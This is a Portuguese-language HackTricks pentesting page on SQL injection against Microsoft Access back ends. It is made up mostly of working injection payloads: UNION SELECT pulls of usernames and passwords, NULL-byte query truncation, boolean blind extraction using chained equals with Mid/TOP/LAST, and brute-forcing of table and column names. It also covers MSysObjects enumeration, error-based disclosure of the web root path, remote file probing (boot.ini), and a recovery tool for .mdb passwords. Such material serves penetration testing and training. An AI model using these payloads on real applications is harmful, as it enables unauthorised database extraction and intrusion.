hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md
2023-06-06 18:56:34 +00:00

9.5 KiB

Injeção de SQL no MS Access

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Playground Online

Limitações do BD

Concatenação de Strings

A concatenação de strings é possível com os caracteres & (%26) e + (%2b).

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Comentários

Não há comentários em MS Access, mas aparentemente é possível remover o último caractere de uma consulta com um caractere NULL:

1' union select 1,2 from table%00

Se isso não funcionar, você sempre pode corrigir a sintaxe da consulta:

1' UNION SELECT 1,2 FROM table WHERE ''='

Consultas Empilhadas

Elas não são suportadas.

LIMIT

O operador LIMIT não é implementado. No entanto, é possível limitar os resultados da consulta SELECT para as primeiras N linhas da tabela usando o operador TOP. TOP aceita como argumento um inteiro, representando o número de linhas a serem retornadas.

1' UNION SELECT TOP 3 attr FROM table%00

Assim como o TOP, você pode usar o LAST que irá obter as linhas do final.

Consultas de União/Subconsultas

Em uma injeção SQL, você geralmente deseja executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre exige que em subconsultas ou consultas extras seja indicado um FROM.
Portanto, se você deseja executar um UNION SELECT ou UNION ALL SELECT ou um SELECT entre parênteses em uma condição, você sempre precisa indicar um FROM com um nome de tabela válido.
Portanto, você precisa saber um nome de tabela válido.

-1' UNION SELECT username,password from users%00

Encadeando equals + Substring

{% hint style="warning" %} Isso permitirá que você exfiltre valores da tabela atual sem precisar saber o nome da tabela. {% endhint %}

O MS Access permite uma sintaxe estranha como '1'=2='3'='asd'=false. Como geralmente a injeção de SQL estará dentro de uma cláusula WHERE, podemos abusar disso.

Imagine que você tenha uma injeção de SQL em um banco de dados MS Access e sabe (ou adivinhou) que um nome de coluna é username, e esse é o campo que você deseja exfiltrar. Você pode verificar as diferentes respostas do aplicativo da web quando a técnica de encadeamento de equals é usada e potencialmente exfiltrar conteúdo com uma injeção booleana usando a função Mid para obter substrings.

'=(Mid(username,1,3)='adm')='

Se você sabe o nome da tabela e coluna para extrair, pode usar uma combinação entre Mid, LAST e TOP para vazar todas as informações via boolean SQLi:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Sinta-se à vontade para testar isso no playground online.

Forçando nomes de tabelas

Usando a técnica de encadeamento de iguais, você também pode forçar nomes de tabelas com algo como:

'=(select+top+1+'lala'+from+<table_name>)='

Você também pode usar um método mais tradicional:

-1' AND (SELECT TOP 1 <table_name>)%00

Sinta-se à vontade para verificar isso no playground online.

Forçando nomes de colunas

Você pode forçar os nomes das colunas atuais com o truque de encadeamento de iguais com:

'=column_name='

Ou com um group by:

-1' GROUP BY column_name%00

Ou você pode fazer brute-force nos nomes das colunas de uma tabela diferente com:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Extraindo dados

Já discutimos a técnica de encadeamento de iguais para extrair dados das tabelas atuais e de outras tabelas. Mas existem outras maneiras:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

Em resumo, a consulta usa uma declaração "se-então" para acionar um "200 OK" em caso de sucesso ou um "500 Internal Error" caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O subsequente uso de LAST permite considerar apenas a décima tupla. Nesse valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Mudando adequadamente o índice de MID e TOP, podemos extrair o conteúdo do campo "username" para todas as linhas.

Baseado em tempo

Verifique https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Outras funções interessantes

  • Mid('admin',1,1) obter substring da posição 1 com comprimento 1 (a posição inicial é 1)
  • LEN('1234') obter comprimento da string
  • ASC('A') obter valor ascii do caractere
  • CHR(65) obter string do valor ascii
  • IIF(1=1,'a','b') se então
  • COUNT(*) Contar número de itens

Enumerando tabelas

A partir daqui, você pode ver uma consulta para obter os nomes das tabelas: aqui

select MSysObjects.name
from MSysObjects
where
   MSysObjects.type In (1,4,6)
   and MSysObjects.name not like '~*'   
   and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

No entanto, observe que é muito comum encontrar Injeções SQL em que você não tem acesso para ler a tabela MSysObjects.

Acesso ao Sistema de Arquivos

Caminho Completo do Diretório Raiz da Web

O conhecimento do caminho absoluto do diretório raiz da web pode facilitar ataques posteriores. Se os erros do aplicativo não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

O MS Access responde com uma mensagem de erro contendo o caminho completo do diretório da web.

Enumeração de Arquivos

O seguinte vetor de ataque pode ser usado para inferir a existência de um arquivo no sistema de arquivos remoto. Se o arquivo especificado existir, o MS Access dispara uma mensagem de erro informando que o formato do banco de dados é inválido:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Outra maneira de enumerar arquivos consiste em especificar um item de banco de dados.tabela. Se o arquivo especificado existir, o MS Access exibe uma mensagem de erro de formato de banco de dados.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Adivinhação do Nome do Arquivo .mdb

O nome do arquivo do banco de dados (.mdb) pode ser inferido com a seguinte consulta:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Onde name[i] é um nome de arquivo .mdb e realTable é uma tabela existente dentro do banco de dados. Embora o MS Access sempre dispare uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.

Quebrador de Senha do Arquivo .mdb

Access PassView é uma ferramenta gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.

Referências